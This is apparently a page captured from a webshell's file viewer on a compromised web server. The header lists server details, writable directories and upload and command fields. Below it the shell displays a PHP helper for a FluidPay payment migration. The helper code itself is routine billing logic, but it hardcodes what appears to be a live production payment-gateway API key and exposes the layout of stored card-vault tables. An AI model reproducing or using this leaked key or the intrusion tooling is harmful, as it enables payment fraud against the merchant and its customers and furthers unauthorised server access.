403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usagrantapplication.org/vx/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usagrantapplication.org/vx/lib/FluidPayHelper.php
<?php
/**
 * FluidPayHelper.php
 *
 * Shared helpers for the NMI -> FluidPay migration. Everything in here is the
 * logic that would otherwise be copy/pasted between lcapi/inc/Billing.php,
 * lcapi/CreateUser.php, pci_form/index.php and pci_form/update.php.
 *
 * The existing FluidPay blocks in lcapi/ChargeUser.php and
 * cronscripts/monthly_billing/queue_process.php still have their own inline
 * copies - they work and were left alone on purpose.
 */

//__DIR__ rather than DOCUMENT_ROOT: the monthly billing cron runs from the CLI,
//where DOCUMENT_ROOT is not set. FluidPay.php sits next to this file either way.
require_once(__DIR__.'/FluidPay.php');

if(!defined('FLUIDPAY_API_KEY')) { define('FLUIDPAY_API_KEY','api_3C36R2RndSzIAlwWX2WYC74PxMs'); }
if(!defined('FLUIDPAY_API_URL')) { define('FLUIDPAY_API_URL','https://app.fluidpay.com/api'); }
//if(!defined('FLUIDPAY_API_URL')) { define('FLUIDPAY_API_URL','https://sandbox.fluidpay.com/api'); } //Dev

/**
 * Kill switch for the new signup path. Return false to send new accounts back
 * through NMI without having to roll anything back.
 */
function fluidpay_enabled() {
	return true;
}

function fluidpay_client() {
	return new FluidPay(FLUIDPAY_API_KEY, FLUIDPAY_API_URL);
}

/**
 * FluidPay wants MM/YY. NMI wanted MMYY.
 */
function fluidpay_expiration($month,$year) {
	$month = preg_replace('/[^0-9]/','',$month);
	$month = str_pad($month,2,'0',STR_PAD_LEFT);
	$year = preg_replace('/[^0-9]/','',$year);
	return $month.'/'.substr($year,-2);
}

/**
 * FluidPay rejects the whole request with 'invalid Postal Code Length' rather than
 * just failing AVS, so a ZIP+4 - '84604-1234', or '846041234' when they typed it
 * without the dash - kills the sale outright. Force US codes down to 5 digits.
 *
 * Padding matters as much as truncating: a New England zip that has been through an
 * int cast anywhere comes back as '2134', which is the same length error. This is the
 * same normalization SiteDB::CreateLead() already does with sprintf('%05d'), except
 * that sprintf pads without truncating, so 9 digit zips got through it untouched.
 *
 * Non-US codes are passed through trimmed only - Canadian and UK postal codes are
 * alphanumeric and are not 5 of anything.
 */
function fluidpay_postal_code($zip,$country='US') {
	$zip = trim((string) $zip);
	//LoadUser() defaults missing address fields to '-'
	if($zip=='' || $zip=='-') {
		return '';
	}
	$country = strtoupper(trim((string) $country));
	if($country!='' && $country!='US' && $country!='USA') {
		return $zip;
	}
	$digits = preg_replace('/[^0-9]/','',$zip);
	if($digits=='') {
		return '';
	}
	return str_pad(substr($digits,0,5),5,'0',STR_PAD_LEFT);
}

/**
 * Normalize an expiration year to 4 digits for storage.
 */
function fluidpay_exp_year($year) {
	$year = preg_replace('/[^0-9]/','',$year);
	if(strlen($year)==2) {
		$year = '20'.$year;
	}
	return $year;
}

/**
 * Map a legacy proc_id to a FluidPay processor.
 *
 * $proc_id_hint is the client's sticky lc_reseller.rebill_proc_id, $exclude is
 * a proc_id we already know is bad (UserSignup::ChargeUser retries with one).
 * Returns the FluidPay.proc_ids row (stdClass) or false when nothing is active.
 */
function fluidpay_pick_processor($db,$proc_id_hint='',$exclude='') {
	if(empty($db)) {
		return false;
	}
	if(!empty($proc_id_hint) && $proc_id_hint!=$exclude) {
		$res = $db->get_results("SELECT * FROM FluidPay.proc_ids
								WHERE proc_id='".$db->clean($proc_id_hint)."'
								AND active=1
								LIMIT 1");
		if(!empty($res)) {
			return $res[0];
		}
	}
	$sql = "SELECT * FROM FluidPay.proc_ids WHERE active=1";
	if(!empty($exclude)) {
		$sql .= " AND proc_id!='".$db->clean($exclude)."'";
	}
	$sql .= " ORDER BY RAND() LIMIT 1";
	$res = $db->get_results($sql);
	if(!empty($res)) {
		return $res[0];
	}
	return false;
}

/**
 * Build a FluidPay billing_address out of a UserSignup object, applying the
 * cardholder_name / billing_* overrides the NMI path used.
 *
 * LoadUser() defaults address/city/state to '-' when they weren't posted;
 * sending that through as AVS data is worse than sending nothing.
 */
function fluidpay_billing_address($user) {
	$first = $user->fname;
	$last = $user->lname;
	if(!empty($user->cardholder_name)) {
		$name_arr = explode(' ',trim($user->cardholder_name));
		$last = $name_arr[count($name_arr)-1];
		$first = trim(str_replace(' '.$last,'',trim($user->cardholder_name)));
	}

	$street = (!empty($user->billing_street_address)) ? $user->billing_street_address : $user->address;
	$city = (!empty($user->billing_city)) ? $user->billing_city : $user->city;
	$state = (!empty($user->billing_state)) ? $user->billing_state : $user->state;
	$zip = (!empty($user->billing_zip)) ? $user->billing_zip : $user->zip;

	return array(
		'first_name' => $first
		,'last_name' => $last
		,'address_line_1' => ($street=='-') ? '' : $street
		,'city' => ($city=='-') ? '' : $city
		,'state' => ($state=='-') ? '' : $state
		,'postal_code' => fluidpay_postal_code($zip,$user->country)
		,'country' => (!empty($user->country)) ? $user->country : 'US'
		,'phone' => $user->phone
		,'email' => $user->email
	);
}

/**
 * Vault a card without charging it.
 *
 * Pass an existing $customer_id to add another card to a customer we already
 * have; leave it empty to create the customer first. The new card is always
 * made the customer's default so a customerToken() charge without an explicit
 * payment_method_id still hits the right card.
 *
 * Returns array('customer_id'=>..,'payment_id'=>..,'error'=>..).
 */
function fluidpay_enroll_card($fp,$description,$card,$billing,$customer_id='') {
	$result = array('customer_id'=>'','payment_id'=>'','error'=>'');

	if(empty($customer_id)) {
		$customer = $fp->createCustomer(array(
			'description' => $description
			,'default_billing_address' => $billing
		));
		if(empty($customer['data']['id'])) {
			$result['error'] = fluidpay_error_message($customer,'Unable to save your billing information. Please try again.');
			return $result;
		}
		$customer_id = $customer['data']['id'];
	}
	$result['customer_id'] = $customer_id;

	$card_result = $fp->addCustomerCard($customer_id,$card);
	if(empty($card_result['data']['created_payment_method_id'])) {
		$result['error'] = fluidpay_error_message($card_result,'Unable to save your credit card. Please double check the card number and try again.');
		return $result;
	}
	$result['payment_id'] = $card_result['data']['created_payment_method_id'];

	$fp->setDefaultPaymentMethod($customer_id,$result['payment_id'],'card');

	return $result;
}

/**
 * Pull something human readable out of a failed FluidPay response. The inline
 * copies of this logic elsewhere just report 'Error', which makes a 401 or a
 * 500 indistinguishable from a decline.
 */
function fluidpay_error_message($response,$default='') {
	if(empty($response)) {
		return ($default!='') ? $default : 'No response from the payment gateway.';
	}
	if(!empty($response['data']['response_body']['card']['processor_response_text'])) {
		return $response['data']['response_body']['card']['processor_response_text'];
	}
	if(!empty($response['msg']) && $response['msg']!='success') {
		return $response['msg'];
	}
	if(!empty($response['http_code']) && $response['http_code']>=400) {
		return 'Payment gateway error (HTTP '.$response['http_code'].').';
	}
	return ($default!='') ? $default : 'Error';
}

/**
 * Is this response text the processor/merchant account failing rather than the
 * card being declined? Those are worth retrying on a different proc_id - nothing
 * was authorized, so there is no double charge risk - and worth alerting on.
 *
 * The NMI wording is on the left, FluidPay's on the right. FluidPay prefixes its
 * messages ("general error: daily transaction limit exceeded"), so this matches
 * on substring rather than equality.
 *
 * Deliberately NOT in here: timeouts and empty responses. Those may have
 * authorized before we lost the connection, so retrying them can double charge.
 */
function fluidpay_processor_level_failure($responsetext) {
	if(trim($responsetext)=='') {
		return false;
	}
	$processor_errors = array(
		'invalid processor'
		,'invalid merchant id'
		,'authentication failed'
		,'bad bin or host disconnect'
		,'daily threshold exceeded'			//NMI
		,'daily transaction limit exceeded'	//FluidPay
		,'monthly transaction limit exceeded'
		,'transaction limit exceeded'
		,'processor not found'
		,'processor is not active'
	);
	$responsetext = strtolower($responsetext);
	foreach($processor_errors as $needle) {
		if(strpos($responsetext,$needle)!==false) {
			return true;
		}
	}
	return false;
}

/**
 * Flatten a FluidPay transaction response into the NMI-shaped response array
 * the rest of the CRM expects: response 1 = approved, 2 = declined, 3 = error.
 */
function fluidpay_normalize_response($response) {
	$normalized = array(
		'response' => '3'
		,'transactionid' => ''
		,'responsetext' => 'Error'
		,'authcode' => ''
		,'avsresponse' => ''
		,'cvvresponse' => ''
		,'customer_id' => ''
		,'payment_id' => ''
	);

	if(empty($response)) {
		$normalized['responsetext'] = 'No response from the payment gateway.';
		return $normalized;
	}

	if(!empty($response['data'])) {
		$data = $response['data'];
		$normalized['transactionid'] = (!empty($data['id'])) ? $data['id'] : '';
		$normalized['customer_id'] = (!empty($data['customer_id'])) ? $data['customer_id'] : '';
		$normalized['payment_id'] = (!empty($data['customer_payment_id'])) ? $data['customer_payment_id'] : '';

		if(!empty($data['response_body']['card'])) {
			$card = $data['response_body']['card'];
			$normalized['authcode'] = (!empty($card['auth_code'])) ? $card['auth_code'] : '';
			$normalized['avsresponse'] = (!empty($card['avs_response_code'])) ? $card['avs_response_code'] : '';
			$normalized['cvvresponse'] = (!empty($card['cvv_response_code'])) ? $card['cvv_response_code'] : '';
			if(!empty($card['response']) && $card['response']=='approved') {
				$normalized['response'] = '1';
				$normalized['responsetext'] = 'Approved';
			} else {
				$normalized['response'] = '2';
				$normalized['responsetext'] = (!empty($card['processor_response_text'])) ? $card['processor_response_text'] : 'Declined';
			}
			return $normalized;
		}
	}

	$normalized['responsetext'] = fluidpay_error_message($response,'Error');
	return $normalized;
}

/**
 * Read back the newest vaulted card for a client, or false when they have none.
 *
 * Newest row by ts wins - pci_form writes a new row every time somebody updates
 * their card rather than replacing the old one, so the rebillers have to sort.
 */
function fluidpay_get_vault($db,$site_code,$client_id) {
	if(empty($db) || empty($site_code) || empty($client_id)) {
		return false;
	}
	$res = $db->get_results("SELECT * FROM FluidPay.customer_vault
							WHERE site_code='".$db->clean($site_code)."'
							AND client_id='".$db->clean($client_id)."'
							ORDER BY ts DESC LIMIT 1");
	if(empty($res)) {
		return false;
	}
	return $res[0];
}

/**
 * Store the FluidPay token for a client. This is what queue_process.php and
 * ChargeUser.php read back to rebill them.
 *
 * $cc_num may be a full PAN or a masked '558958******0900' - both give the
 * right bin/last 4 once the non digits are stripped.
 */
function fluidpay_save_vault($db,$site_code,$client_id,$customer_id,$payment_id,$cc_num,$exp_month,$exp_year) {
	if(empty($db) || empty($site_code) || empty($client_id) || empty($customer_id)) {
		return false;
	}
	$cc_num = preg_replace('/[^0-9]/','',$cc_num);
	return $db->query("INSERT INTO FluidPay.customer_vault
				(
					site_code
					,client_id
					,customer_id
					,payment_id
					,bin_number
					,last_4
					,exp_month
					,exp_year
					,ts
				) VALUES (
					'".$db->clean($site_code)."'
					,'".$db->clean($client_id)."'
					,'".$db->clean($customer_id)."'
					,'".$db->clean($payment_id)."'
					,'".$db->clean(substr($cc_num,0,6))."'
					,'".$db->clean(substr($cc_num,-4))."'
					,'".$db->clean(str_pad(preg_replace('/[^0-9]/','',$exp_month),2,'0',STR_PAD_LEFT))."'
					,'".$db->clean(fluidpay_exp_year($exp_year))."'
					,NOW()
				)");
}

/**
 * Same as fluidpay_save_vault() but keyed on the allocator lead id, for cards
 * captured through pci_form before the client account exists. CreateUser.php
 * reads this back when it is called with an allocatorid and no cc_num.
 */
function fluidpay_save_vault_lead($db,$allocator_id,$customer_id,$payment_id,$cc_num,$exp_month,$exp_year) {
	if(empty($db) || empty($allocator_id) || empty($customer_id)) {
		return false;
	}
	$cc_num = preg_replace('/[^0-9]/','',$cc_num);
	return $db->query("INSERT INTO FluidPay.customer_vault_leads
				(
					allocator_id
					,customer_id
					,payment_id
					,bin_number
					,last_4
					,exp_month
					,exp_year
					,ts
				) VALUES (
					'".$db->clean($allocator_id)."'
					,'".$db->clean($customer_id)."'
					,'".$db->clean($payment_id)."'
					,'".$db->clean(substr($cc_num,0,6))."'
					,'".$db->clean(substr($cc_num,-4))."'
					,'".$db->clean(str_pad(preg_replace('/[^0-9]/','',$exp_month),2,'0',STR_PAD_LEFT))."'
					,'".$db->clean(fluidpay_exp_year($exp_year))."'
					,NOW()
				)");
}

Youez - 2016 - github.com/yon3zu
LinuXploit